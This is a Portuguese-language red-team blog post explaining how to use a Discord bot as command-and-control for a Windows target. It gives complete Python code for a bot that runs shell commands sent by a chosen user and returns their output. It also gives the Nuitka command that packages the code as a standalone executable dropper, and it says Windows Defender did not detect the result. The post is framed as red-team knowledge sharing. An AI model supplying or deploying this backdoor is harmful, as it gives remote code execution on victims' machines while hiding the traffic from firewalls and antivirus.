Usando Discord como Comando e Controle (C2) com Python e Nuitka

Dec 02 2022
Olá colegas red teamers, eu estava pensando em uma maneira de ofuscar o tráfego C2 e tive uma ideia. Por que não encadear o tráfego em alguns canais verificados, como o Discord? Mas e se o alvo não tiver o Discord instalado? Vou abordar isso mais tarde.

Olá colegas red teamers, eu estava pensando em uma maneira de ofuscar o tráfego C2 e tive uma ideia. Por que não encadear o tráfego em alguns canais verificados, como o Discord? Mas e se o alvo não tiver o Discord instalado? Vou abordar isso mais tarde. Eu mesmo tive alguma experiência anterior com o desenvolvimento de bots de discórdia, meu servidor de discórdia (para compartilhar conhecimento e experiência de pentesting / red teaming) tem um bot de discórdia codificado manualmente, baseado em python.

Sinta-se bem-vindo ao servidor:https://discord.gg/dWCe5ZMvtQ

Além disso, se você preferir assistir a um vídeo em vez de ler, pode encontrá-lo aqui:https://youtu.be/LnXOtHhCx08

Teoria

Não importa o mecanismo de programação, todos os bots de discórdia estão funcionando praticamente da mesma forma. Eles estão usando webhooks para executar ações que você especifica com permissões. Existem muitas bibliotecas que suportam diferentes linguagens de programação. Os bots do Discord podem ser escritos em praticamente todos os idiomas, seguindo a documentação da API (https://discord.com/developers/docs/intro).

Discord bots em python estão usando a biblioteca chamada discord.py (https://discordpy.readthedocs.io/en/stable/)

É simples e direto para configurar e usar. O próprio código do bot é fácil de entender e escrever. Agora vamos voltar ao ponto principal, como armar isso?

O problema vem daí, ao executar o bot, seu PC ignora os firewalls, pois está conversando diretamente com os servidores do Discord. Significa que o tráfego é criptografado e está no canal verificado. Isso significa que, se codificarmos o bot para ler e gravar comandos em um canal específico, podemos obter a execução do código criptografado. O código em python é super simples, mas há um grande problema. Como forçaríamos o alvo a executar um código python?

A melhor solução que encontrei até agora é utilizar o Nuitka(https://nuitka.net/) para compilar o código python em um PE autônomo (executável portátil). Desta forma, temos um conta-gotas C2 padrão. (Vamos ver qual é o maior problema de Nuitka)

Agora vamos dividir as partes do código. Precisamos realizar as seguintes tarefas:

  1. Criar bot de discórdia
  2. Junte-se ao bot ao servidor personalizado
  3. Codifique o bot para tratar as mensagens do usuário como comandos e para retornar a saída.
  4. Compilar para PE

Como criar um Discord Bot?

Navegar parahttps://discord.com/login?redirect_to=%2Fdevelopers%2Fapplications

Clique em Novo Aplicativo:

Dê-lhe um nome:

Em seguida, clique no submenu Bot:

Adicionar bot:

Certifique-se de habilitar todas as intenções (especialmente a mensagem)

Mais uma coisa a fazer, vá para o seu bot e reinicie o token, salve o novo em algum lugar seguro. Isso será necessário para a etapa 3.

Como adicionar o bot ao meu servidor?

Agora que o bot está pronto, para adicioná-lo, clique no Gerador de URL no Menu Oauth2.

Marque Bot -> Administrador -> Copie e cole a URL no navegador. Em seguida, basta escolher o servidor em que o bot será adicionado.

Como codificar o bot?

Agora vem a parte divertida!

Vamos analisar o seguinte trecho de código:

from discord.ext import commands
from discord.utils import get
from discord.ext.commands import Bot
import discord
from discord.utils import get
import subprocess
import time

DISCORD_TOKEN = "Token from step 1"

def Exec(cmd):
    output = subprocess.check_output(cmd, shell=False)
    return output


intents = discord.Intents.all()
intents.members = True
intents.reactions = True
intents.guilds = True
bot = Bot("!", intents=intents)



@bot.command()
async def IssueCmd(ctx, arg):
    await ctx.send(arg)

@bot.event
async def on_message(message):   
    if(message.author.id == 1046317520178663534):
        await message.channel.send(Exec(message.content).decode("utf-8"))

if __name__ == "__main__":

    bot.run(DISCORD_TOKEN)

As primeiras linhas são as importações da biblioteca e o token estático da etapa 1.

from discord.ext import commands
from discord.utils import get
from discord.ext.commands import Bot
import discord
from discord.utils import get
import subprocess
import time

DISCORD_TOKEN = "Token from step 1"

def Exec(cmd):
    output = subprocess.check_output(cmd, shell=False)
    return output

intents = discord.Intents.all()
intents.members = True
intents.reactions = True
intents.guilds = True
bot = Bot("!", intents=intents)

@bot.command()
async def IssueCmd(ctx, arg):
    await ctx.send(arg)

@bot.event
async def on_message(message):   
    #obviously replace the userid with your own
    if(message.author.id == 1046317520178663534#obv):
        await message.channel.send(Exec(message.content).decode("utf-8"))

if __name__ == "__main__":

    bot.run(DISCORD_TOKEN)

Agora a parte difícil.

Como compilar o código em PE?

Para o efeito, parei em Nuitka. É bastante simples de usar. Nós só temos que ser pacientes. Ele requer o compilador MinGW-64, mas fará o download automático de uma versão adequada na primeira vez que você executá-lo.

Para instalar o nuitka, você pode simplesmente ir com

pip install nuitka

python -m nuitka --mingw64 .\main.py --standalone --onefile

E o Windows Defender?

Tudo está claro para ele.

E quanto aos fornecedores do Antiscanme?

O tamanho do arquivo era extremamente grande para eu carregá-lo. Se vocês tiverem um laboratório dedicado com vários fornecedores de AV, sintam-se à vontade para experimentá-los.

Estarei esperando seus resultados no meu twitter!

Qual é o problema?

Como gerou um único PE independente, o Nuitka precisava combinar todas as bibliotecas e compilá-las todas juntas. É por isso que o processo era lento e o arquivo tinha mais de 40 MB de tamanho. Este é obviamente um problema que abordaremos no futuro. Outro problema é o irritante pop-up durante a execução. Além disso, muitas coisas podem ser executadas, como injeção de processo, mas duvido que possamos conseguir isso com esse tamanho de arquivo enorme. Vamos deixar isso para o próximo!

Empacotando

Seja sempre o mais criativo possível. Quanto mais conhecimento você tiver, mais oportunidades para implementar a criatividade você enfrentará. Mesmo que a versão atual esteja longe de ser utilizável, acho que dá uma base sólida sobre o que construir. O C2 estava funcionando muito bem, seu único problema era o tamanho do arquivo. Afinal, nada é perfeito.

Obrigado por ler e espero que você tenha aprendido algo novo.

Você pode apoiar meu trabalho me pagando um café:https://www.buymeacoffee.com/lsecqt